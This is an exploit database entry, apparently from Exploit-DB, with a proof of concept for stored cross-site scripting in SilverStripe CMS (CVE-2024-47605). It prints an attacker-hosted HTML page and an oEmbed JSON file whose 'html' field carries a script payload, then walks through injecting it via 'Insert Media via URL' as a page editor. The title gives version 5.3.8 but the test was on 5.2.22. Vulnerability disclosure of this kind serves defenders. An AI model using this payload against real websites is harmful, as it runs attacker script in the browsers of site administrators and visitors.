
15 changes to exploits/shellcodes/ghdb ZTE ZXHN H168N 3.1 - Remote Code Execution (RCE) via authentication bypass GestioIP 3.5.7 - Cross-Site Request Forgery (CSRF) GestioIP 3.5.7 - Cross-Site Scripting (XSS) GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS) GestioIP 3.5.7 - Remote Command Execution (RCE) GestioIP 3.5.7 - Stored Cross-Site Scripting (Stored XSS) OpenPanel 0.3.4 - Directory Traversal OpenPanel 0.3.4 - Incorrect Access Control OpenPanel 0.3.4 - OS Command Injection OpenPanel Copy and View functions in the File Manager 0.3.4 - Directory Traversal Pimcore 11.4.2 - Stored cross site scripting Pimcore customer-data-framework 4.2.0 - SQL injection SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated) Xinet Elegant 6 Asset Lib Web UI 6.1.655 - SQL Injection
55 lines
No EOL
1.9 KiB
Text
55 lines
No EOL
1.9 KiB
Text
# Exploit Title: SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated)
|
|
# Date: 2025-01-15
|
|
# Exploit Author: James Nicoll
|
|
# Vendor Homepage: https://www.silverstripe.org/
|
|
# Software Link: https://www.silverstripe.org/download/
|
|
# Category: Web Application
|
|
# Version: 5.2.22
|
|
# Tested on: SilverStripe 5.2.22 - Ubuntu 24.04
|
|
# CVE : CVE-2024-47605
|
|
|
|
## Explanation:
|
|
When using the "insert media" functionality, the linked oEmbed JSON includes an HTML attribute which will replace the embed shortcode. The HTML is not sanitized before replacing the shortcode, allowing a script payload to be executed on both the CMS and the front-end of the website.
|
|
|
|
## Requirements
|
|
1. A Silverstripe CMS website.
|
|
2. Valid login credentials for a user with page edit rights.
|
|
3. An attacker server hosting malicious payload.
|
|
|
|
## On the attacker server:
|
|
1. Create an html file with oembded information:
|
|
```
|
|
<html>
|
|
<head>
|
|
<link rel="alternate" type="application/json+oembed" href="http://<attacker_server_ip>/oembed.json" title="Payload" />
|
|
</head>
|
|
<body>
|
|
<img src="media.jpg">
|
|
</body>
|
|
</html>
|
|
```
|
|
2. Create the json file with XSS payload:
|
|
```
|
|
{
|
|
"title": "Title",
|
|
"author_name": "author",
|
|
"type": "video",
|
|
"height": 113,
|
|
"width": 200,
|
|
"version": "1.0",
|
|
"provider_name": "FakeSite",
|
|
"thumbnail_height": 360,
|
|
"thumbnail_width": 480,
|
|
"thumbnail_url": "http://<attacker_server_ip>/media.jpg",
|
|
"html":"<script>alert('hello world');</script>"
|
|
}
|
|
```
|
|
3. The media.jpg file can be any image.
|
|
4. Host these files on a publicly available website
|
|
|
|
## On the SilverStripe website:
|
|
1. Log into the admin portal with a user account that has page editor rights (or higher).
|
|
2. Select the page you wish to load the malicious content into.
|
|
3. Within the editor panel, select the "Insert Media via URL" button.
|
|
4. Enter the IP/Hostname of the attacker server.
|
|
5. Click Add Media, Insert Media, and then save and publish the page. |